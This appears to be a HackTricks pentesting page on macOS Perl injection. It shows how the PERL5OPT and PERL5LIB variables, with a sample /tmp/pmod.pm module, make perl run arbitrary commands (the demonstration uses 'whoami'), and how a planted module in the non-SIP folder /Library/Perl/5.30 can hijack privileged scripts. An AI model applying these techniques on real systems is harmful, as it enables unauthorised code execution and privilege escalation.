5.3 KiB
macOS Perl Applications Injection
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
- Discover The PEASS Family, our collection of exclusive NFTs
- Get the official PEASS & HackTricks swag
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
- Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.
Via PERL5OPT & PERL5LIB env variable
Using the env variable PERL5OPT it's possible to make perl execute arbitrary commands.
For example, create this script:
{% code title="test.pl" %}
#!/usr/bin/perl
print "Hello from the Perl script!\n";
{% endcode %}
Now export the env variable and execute the perl script:
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
Another option is to create a Perl module (e.g. /tmp/pmod.pm):
{% code title="/tmp/pmod.pm" %}
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
{% endcode %}
And then use the env variables:
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
Via dependencies
It's possible to list the dependencies folder order of Perl running:
perl -e 'print join("\n", @INC)'
Which will return something like:
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
Some of the returned folders doesn't even exist, however, /Library/Perl/5.30 does exist, it's not protected by SIP and it's before the folders protected by SIP. Therefore, someone could abuse that folder to add script dependencies in there so a high privilege Perl script will load it.
{% hint style="warning" %} However, note that you need to be root to write in that folder and nowadays you will get this TCC prompt: {% endhint %}
For example, if a script is importing use File::Basename; it would be possible to create /Library/Perl/5.30/File/Basename.pm to make it execute arbitrary code.
References
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
- Discover The PEASS Family, our collection of exclusive NFTs
- Get the official PEASS & HackTricks swag
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
- Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.